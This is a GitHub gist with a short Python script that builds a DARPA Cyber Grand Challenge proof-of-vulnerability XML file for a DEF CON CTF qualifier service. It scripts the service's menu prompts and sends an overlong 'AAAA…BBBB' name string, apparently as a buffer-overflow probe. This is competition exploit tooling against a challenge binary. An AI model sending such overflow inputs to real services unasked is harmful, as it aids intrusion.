Skip to content

Instantly share code, notes, and snippets.

@bruce30262
Created August 7, 2016 00:32
Show Gist options
  • Save bruce30262/34a72689a876098f7ab906904cf7554d to your computer and use it in GitHub Desktop.
Save bruce30262/34a72689a876098f7ab906904cf7554d to your computer and use it in GitHub Desktop.
a cgc pov template
#!/usr/bin/env python
# reference: http://fadec0d3.blogspot.tw/2016/05/defcon-ctf-quals-2016-legit00003.html
TEMPLATE = """
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-replay/replay.dtd">
<pov>
<cbid>service</cbid>
<replay>{}</replay>
</pov>
"""
def createReadString(data):
return "<read><length>{}</length><match><data>{}</data></match></read>\n".format(len(data), data)
def createWriteString(data):
return "<write><data>{}</data></write>\n".format(data)
def main():
a = "\n"
a += createReadString("1) Gimme Name")
a += createReadString("2) Print Name")
a += createReadString("3) Exit")
a += createReadString(":")
a += createWriteString(1)
a += createReadString("Enter Name:")
a += createWriteString("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB")
print TEMPLATE.format(a)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment